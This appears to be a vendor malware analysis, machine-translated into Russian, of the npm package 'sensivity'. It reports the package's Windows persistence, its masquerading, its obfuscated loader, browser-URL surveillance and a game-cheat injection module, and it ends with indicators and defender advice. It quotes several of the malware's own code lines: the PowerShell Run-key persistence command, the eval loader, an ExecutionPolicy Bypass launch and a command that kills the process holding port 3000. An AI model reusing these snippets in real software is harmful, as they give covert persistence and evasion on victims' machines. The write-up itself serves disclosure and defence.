PairLoop: Скрытая панель дистанционного управления в npm-пакете

PairLoop: один npm-пакет, семьдесят версий и скрытая панель удаленного управления Windows.

TL, д-р

Пакет npm чувствительность Программа позиционирует себя как «панель управления настройками». В Windows она работает как инструмент удаленного управления и слежки.

Его точка входа, launcher.jsпереименовывает свой собственный процесс в Runtime Broker, записывает значение ключа запуска с именем OneDriveUpdate который перезапускает пакет через скрытый скрипт VBScript и запускает PowerShell с помощью -ExecutionPolicy Bypassа затем выполняет оценку обфусцированной серверной нагрузки размером 171 КБ вместе с собственным модулем размером 6.87 МБ. sens.node.

Он предоставляет панель управления сопряжением телефона через TCP-порт 3000 и считывает URL-адрес из адресной строки активного браузера с помощью Windows UIAutomation, отслеживая наличие одного жестко закодированного видео на YouTube.

Две части, которые ранее оставались «чёрными ящиками», теперь решены. Зашифрованный сервер, server.obf.jsИспользуется схема массивов строк RC4 от obfuscator.io; переработка декодера в автономном режиме (без выполнения JavaScript) позволяет получить доступ к единственной внешней конечной точке. https://izopi.com/check.php — вместе со встроенным открытым ключом RSA, используемым для проверки подписанных ответов лицензии.

Нативный модуль, sens.node, не упакован: его таблица импорта и встроенные строки идентифицируют его как внутриигровое наложение DirectX 11 / Dear ImGui, предоставляющее функции аимбота, ESP (просмотра сквозь стены) и триггербота, работающее за счет внедрения удаленных процессов и чтения/записи в память.

Строки внутри него ссылаются на объекты транспортных средств и местоположения на карте, соответствующие GTA V / FiveM. Пакет npm представляет собой оболочку для доставки и сохранения этого нативного модуля.

Определяющим сигналом является не технический, а оперативный аспект: один анонимный издатель выпустил около семидесяти версий одного и того же пакета. 2.5.0 через 2.5.69 — в течение нескольких дней, каждый раз с использованием одной и той же пусковой установки.

Нет установки. hooksПолезная нагрузка запускается только при запуске пакета.

Атака: как она работает

Пакет sensivity содержит десять файлов. Файл package.json минималистичен: отсутствует поле repository, лицензия, есть основной файл main и два псевдонима bin (sensivity, sens), все указывающие на launcher.js, а также скрипт запуска node launcher.js. Отсутствуют postinstall и preinstall. Ничего не запускается при выполнении npm install. Описанное ниже поведение выполняется, когда пользователь запускает пакет — через заглушку bin, скрипт запуска или require.

Архив содержит лаунчер, обфусцированный сервер, нативный модуль, скрипт Visual Basic и каталог public/web для панели управления. launcher.js — это читаемый оркестратор; логика, имеющая значение во время выполнения, находится в двух загружаемых им файлах — обфусцированном сервере и скомпилированном нативном модуле, оба из которых разрешаются ниже.

 Маскировка процесса и поддельный модуль обновления OneDrive

На ранней стадии выполнения файл launcher.js дважды задает имя своего процесса:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker — это легитимный процесс Windows (RuntimeBroker.exe), который регулирует разрешения приложений. Переименование процесса Node в соответствии с этим именем позволяет быстро взглянуть на диспетчер задач и не обнаружить ничего необычного.

Сохранение данных осуществляется с помощью PowerShell, а не напрямую через API реестра:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Значение автозапуска называется OneDriveUpdate и не указывает напрямую на пакет. Оно указывает на wscript.exe, запускающий входящий в комплект OneDrive.Standalone.Updater.vbs скрипт. Этот скрипт перезапускает node launcher.js в скрытом окне. И имя ключа запуска, и имя файла VBScript заимствованы из фирменной символики Microsoft, поэтому запись автозапуска выглядит как обычная задача OneDrive.

PowerShell с обходом политики выполнения

Программа запуска неоднократно обращается к PowerShell. Сканеры помечают как критически важный процесс запуска сгенерированного файла .ps1 с отключенной политикой выполнения:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Функция ExecutionPolicy Bypass удаляет проверку локальной подписи скрипта для этого вызова. Сгенерированные скрипты выполняют задачи по наблюдению за браузером и обнаружению окон, описанные в следующем разделе.

Обфусцированный сервер и нативный модуль

После настройки launcher.js загружает и выполняет свою реальную полезную нагрузку:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Файл server.obf.js содержит 171 КБ обфускации с использованием массива _0x — шаблона JavaScript, при котором каждая строка и идентификатор заменяются индексом в перемешанном массиве, а затем разыменовываются во время выполнения. Эта схема — вариант RC4, созданный obfuscator.io: одна функция декодера декодирует элемент массива с помощью base64, а затем расшифровывает его с помощью RC4, используя ключ для каждого вызова. Переработка этого декодера в отдельном скрипте — запуск только переработанной реализации над извлеченным строковым массивом из 821 элемента, без использования собственного JavaScript пакета — позволяет чисто развернуть схему. То, что всплывает наружу, скромно, но...cisive: один внешний URL, https://izopi.com/check.php`, назначенный константе LICENSE_URL; встроенный RSA PUBLIC_KEY_PEM`; локальные маршруты панели /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off и /trigger/status; и загруженные строки child_process, crypto и [Sensivity] sens.node — последняя представляет собой точную строку лога, которую лаунчер переписывает в program module loaded. Конечная точка — проверка лицензии: клиент отправляет идентификатор (обфусцированный сервер форматирует строку Discord ID: %s), а ключ RSA проверяет подписанный ответ сервера.

sens.node — это скомпилированный нативный аддон размером 6.87 МБ, и он не упакован — энтропия раздела составляет 5.6–6.6, а таблицы импорта и экспорта PE-файлов остаются нетронутыми, поэтому его возможности можно прочитать напрямую. Он экспортирует napi_register_module_v1, standard Точка входа Node N-API, поэтому сервер, выполняющий оценку, загружает её с помощью простого оператора require. Её таблица импорта служит ориентиром. Из KERNEL32 она извлекает OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules и Process32First/NextW — канонический набор для поиска другого процесса, выделения памяти внутри него и чтения или записи в эту память. Из USER32 она извлекает GetAsyncKeyState, GetKeyState, mouse_event и SetCursorPos; она связывает d3d11.dll, D3DCOMPILER_43 и dwmapi для экранного наложения, а также полный набор WINHTTP для сетевых вызовов. Встроенные строки однозначно указывают на набор функций: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected и баннер Dear ImGui Dear ImGui 1.91.3 WIP. Строки, описывающие местоположение и сущности, такие как Grapeseed Medical Clinic и словарь vehicle-ESP, соответствуют GTA V / FiveM.

Разделение сделано намеренно: читаемый файл launcher.js содержит только те части, которые легко считываются сканером — обеспечение постоянного доступа, маскировка, сам вызов eval, — в то время как обфускация скрывает единственный внешний хост, с которым взаимодействует среда выполнения, а бинарный файл содержит логику игрового оверлея и внедрения процессов. Лаунчер — это тонкая, проверяемая оболочка; обфусцированный сервер скрывает сетевую идентификацию; нативный модуль — это полезная нагрузка. Мы описываем импорты и строки бинарного файла как прочитанные; мы не делаем вывод о назначении оператора на их основе.

 Панель управления сопряжением телефона на порту 3000

Программа запуска управляет локальным веб-сервером на TCP-порту 3000 и рассматривает его как синглтон. Она запрашивает наличие существующего слушателя и очищает его перед привязкой:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Панель доступна по адресу http://localhost:3000, с жестко заданным резервным URL-адресом для локальной сети http://192.168.1.16:3000. Каталог public/ и поведение панели соответствуют процессу сопряжения с QR-кодом: телефон сканирует код и привязывается к хосту как удаленный. В лаунчере в открытом виде не отображается внешний домен управления — но, как показывает деобфускация выше, он присутствует на обфусцированном сервере: конечная точка лицензии izopi.com. Сама панель локальна и работает в пределах локальной сети; единственным исходящим хостом является проверка лицензии.

Модель "отдельный супервизор/рабочий процесс" поддерживает активность процесса. Запускающая программа перезапускается с флагами окружения SENSIVITY_SUPERVISOR и SENSIVITY_WORKER, при этом каждый дочерний процесс работает скрытно, поэтому завершение одного процесса оставляет сторожевой таймер для его перезапуска.

Наблюдение за браузером и сигнал YouTube

Наиболее специфичное поведение — это мониторинг браузера. launcher.js создает скрипт PowerShell, который управляет Windows UIAutomation для чтения адресной строки запущенного браузера:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern возвращает текстовое содержимое элемента пользовательского интерфейса. Применённый к элементу управления адресной строки браузера, он возвращает URL-адрес, который в данный момент просматривает жертва — без расширения браузера, без изменения профиля на диске и без использования API-перехватчика. Сгенерированный скрипт перебирает список $browserNames и извлекает URL-адрес или заголовок окна того браузера, который находится на переднем плане.

Данный URL-адрес проверяется по единственному жестко заданному целевому объекту:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Программа запуска периодически (в течение трех секунд) опрашивает окно браузера, отображающее YouTube, а сгенерированный скрипт PowerShell содержит пару Get-YouTubeBrowser / Test-TargetYouTubeUrl, которая сопоставляется с идентификатором этого видео. Наблюдаемый эффект двоякий: активный URL-адрес браузера считывается с экрана жертвы, и обнаруживается взаимодействие хоста с конкретным видео YouTube. Мы описываем механизм и цель; мы не делаем выводов о мотивах на их основе.

Считываемые данные из адресной строки сканера обозначают как sensitive_data_enumeration — источник Process::env и UIAutomation, передающий данные в среду выполнения, поддерживающую сетевое соединение. В отрыве от контекста это выглядит безобидно и становится признаком слежки только после отслеживания жизненного цикла данных от источника UIAutomation до обфусцированного сервера.

Хронология и эволюция версий

Настройка чувствительности — это не разовая загрузка. В учетной записи издателя опубликовано около семидесяти версий этого единственного пакета, и новые версии продолжали поступать в течение периода проверки. Функционал лаунчера развивается шаг за шагом в линейке 2.5.x, в то время как его механизмы сохранения состояния и загрузки полезной нагрузки остаются неизменными.

Дата (UTC)Наблюдаемые версииСостояние запуска
2026-06-02 2.5.82.5.46 (25) Базовый лаунчер QR-панели; сохранение состояния с помощью клавиши запуска; оценка обфусцированного сервера.
2026-06-03 2.5.532.5.61 (6) Тот же отпечаток пальца; подавление трассировки консоли.
2026-06-04 2.5.67, 2.5.68 (2) Добавляет закрепленный целевой показатель вовлеченности на YouTube. wJWta2lO0Lw.
2026-06-05 2.5.02.5.69 (24) Переиздание материалов, заполняющих пробелы в знаниях; контроль со стороны руководителей и работников.

Анализ лаунчера на всех загруженных версиях — 2.5.0, 2.5.36 и 2.5.69 — показывает четыре уровня. В самых ранних сборках используется базовый лаунчер для сопряжения с QR-кодами. Начиная с версии 2.5.33 появляется сборщик адресной строки UIAutomation. Начиная с версии 2.5.58 добавляется слой управления супервизором. Начиная с версии 2.5.64, завершает набор отсоединенный сторожевой процесс супервизора/рабочего процесса. При этом четыре вещи остаются неизменными: ключ запуска OneDriveUpdate, дропер OneDrive.Standalone.Updater.vbs, исполняемый server.obf.js и собственный модуль sens.node.

Волна обновлений от 05.06.2026 примечательна тем, что в ней были повторно опубликованы версии с низкими номерами — от 2.5.0 до 2.5.15 — которые находятся ниже версий, подтвержденных несколькими днями ранее. В результате в реестре появилась непрерывная строка 2.5.x, причем каждая версия использует один и тот же лаунчер.

Индикаторы компромисса

Все приведенные ниже индикаторы были считаны непосредственно из архива пакета. Читаемый лаунчер содержит только адрес обратной связи и один частный адрес локальной сети; единственное внешнее имя хоста, izopi.com, было восстановлено путем деобфускации server.obf.js в автономном режиме.

ТипИндикаторныеЗаметки
Упаковкаnpm:sensivity (≈70 версий, 2.5.02.5.69)Издатель, выпускающий один пакет; нет репозитория; нелицензировано.
Файлlauncher.jsЧитаемый оркестратор; основной и целевой объекты (bin).
Файлserver.obf.js (≈171 КБ)Полезная нагрузка в виде массива строк RC4 от obfuscator.io, загруженная через eval(fs.readFileSync(...)).
Файлsens.node (≈6.87 МБ)PE32+ x86-64 Node N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
ФайлOneDrive.Standalone.Updater.vbsСкрытый перезапуск (node launcher.js).
Cетьhttps://izopi.com/check.phpЛицензионный/аутентификационный конечный пункт получен с обфусцированного сервера; встроенный открытый ключ RSA проверяет ответы.
ВозможностиOpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThreadВозможность удаленного внедрения процессов и чтения/записи в память.
ВозможностиEnable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIPИгровое наложение DirectX 11 / ImGui, реализующее функции аимбота, ESP и триггербота.
реестраHKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdateЗначение автозапуска указывает на wscript.exe и средство запуска VBScript.
Разработкаprocess.title = 'Runtime Broker'Выдаёт себя за легитимный процесс Windows Runtime Broker.
Поведенческийpowershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1Для сгенерированных сценариев PowerShell используется обход политики выполнения.
ПоведенческийUIAutomation ValuePattern чтение адресной строки браузераСчитывает URL-адрес активного окна браузера.
ПоведенческийИдентификатор целевого видео wJWta2lO0Lw; 3-секундный опрос на YouTubeЗакрепленный сигнал мониторинга активности.
Cетьhttp://localhost:3000, отступать http://192.168.1.16:3000Панель управления сопряжением QR-кодов доступна локально и в локальной сети.
Окружающая средаSENSIVITY_SUPERVISOR, SENSIVITY_WORKERФлаги координации процесса автономного контроля.

Атрибуция, влияние и защитники

Пакет публикуется одним аккаунтом npm, указанный адрес электронной почты которого не подтвержден. Аккаунт имеет крайне отрицательный рейтинг репутации в реестре, поддерживает и публикует только этот единственный пакет и не имеет связанных репозиториев исходного кода. Мы не проверяли право собственности на этот адрес электронной почты и приписываем кампанию аккаунту издателя, а не какому-либо конкретному лицу. Лаунчер не использует инфраструктуру в открытом виде, но теперь известен единственный внешний хост: обфусцированный сервер обращается к izopi.com для проверки лицензии, а нативный модуль — считываемый из таблицы импорта и строк, а не путем пошагового выполнения инструкций — представляет собой игровое наложение, которое внедряется в память другого процесса и считывает ее.

Заметное влияние ощущается пользователями Windows, которые устанавливают и запускают программу, ожидая получить утилиту в панели управления. На таких хостах пакет устанавливает постоянное автозапуск, замаскированный под задачу OneDrive, переименовывается, чтобы имитировать системный процесс, считывает URL-адрес того, что просматривает пользователь, и запускает панель сопряжения, которая привязывает машину к удаленному серверу по локальной сети. Сторожевой таймер супервизора/рабочего процесса означает, что однократное завершение процесса не удаляет программу; запись в меню «Выполнить» сохраняется после перезагрузки. macOS и Linux не являются целевой платформой запуска — пути к постоянному запуску, PowerShell и UIAutomation предназначены только для Windows.

Тенденция, требующая постоянного обновления до семидесяти версий, заслуживает внимания. Повторная публикация одного и того же пакета десятки раз за несколько дней, включая заполнение номеров версий ниже тех, которые уже были удалены, поддерживает активную копию в реестре между удалениями и создает проблемы для списков блокировки, закреплённых за определённой версией. Запись в списке блокировки для sensivity@2.5.61 никак не влияет на sensivity@2.5.3, повторно опубликованную на следующий день.

Защитники могут действовать в следующих случаях:

  • Полностью заблокируйте возможность указания имени пакета в реестрах и списках разрешений CI. Фиксация отдельных версий противоречит принципу регулярной перепубликации; имя является надежным индикатором.
  • Найдите значение параметра Run с именем OneDriveUpdate, данные которого запускают wscript.exe для файла .vbs, расположенного в пути, заданном для каждого пользователя. Подлинный модуль обновления OneDrive таким образом не регистрируется.
  • Предупреждение о процессе Node.js, у которого process.title имеет значение Runtime Broker. На самом деле брокером является RuntimeBroker.exe, а не среда выполнения Node.js.
  • Флаг `npm install` загружает пакеты, содержащие скомпилированный аддон .node и вывод `eval(fs.readFileSync(…))` соседнего файла .obf.js. Это сочетание — непрозрачный нативный бинарный файл, загруженный рядом с обфусцированным текстовым содержимым — является здесь структурным признаком, независимо от каких-либо строковых индикаторов компрометации.
  • Любой локально привязанный к порту 3000 обработчик, запущенный неожиданным процессом Node, следует рассматривать как подозрительный на управляемых конечных точках Windows.
  • Блокировать или оповещать об исходящих запросах к izopi.com с хостов разработчиков или конечных пользователей; это единственная внешняя конечная точка пакета, доступная по адресу /check.php с обфусцированного сервера.
  • Перед тем как доверять какому-либо дополнению .node, проверьте его таблицу импорта. Комбинация OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread — это внедрение удаленного процесса независимо от того, что, как заявляет сам пакет, он делает; здесь она находится рядом с оверлеем Direct3D и строками aimbot/ESP/triggerbot.

Для статического анализа pipelineТаким образом, форма убеждения остается неизменной при изменении версий: профиль установки без использования сети, присвоение имени процесса известному имени системного процесса, запись с помощью клавиши запуска через PowerShell и проверка файла, прочитанного с диска. Ни один из этих вариантов не зависит от домена, IP-адреса или номера версии, который может быть изменен при следующей переиздании.

 Референсы

[npm: чувствительность] – страница реестра для обсуждаемой здесь строки версий пакета; может быть удалена.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
Получите бесплатный аккаунт.
Нет необходимости кредитную карту.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni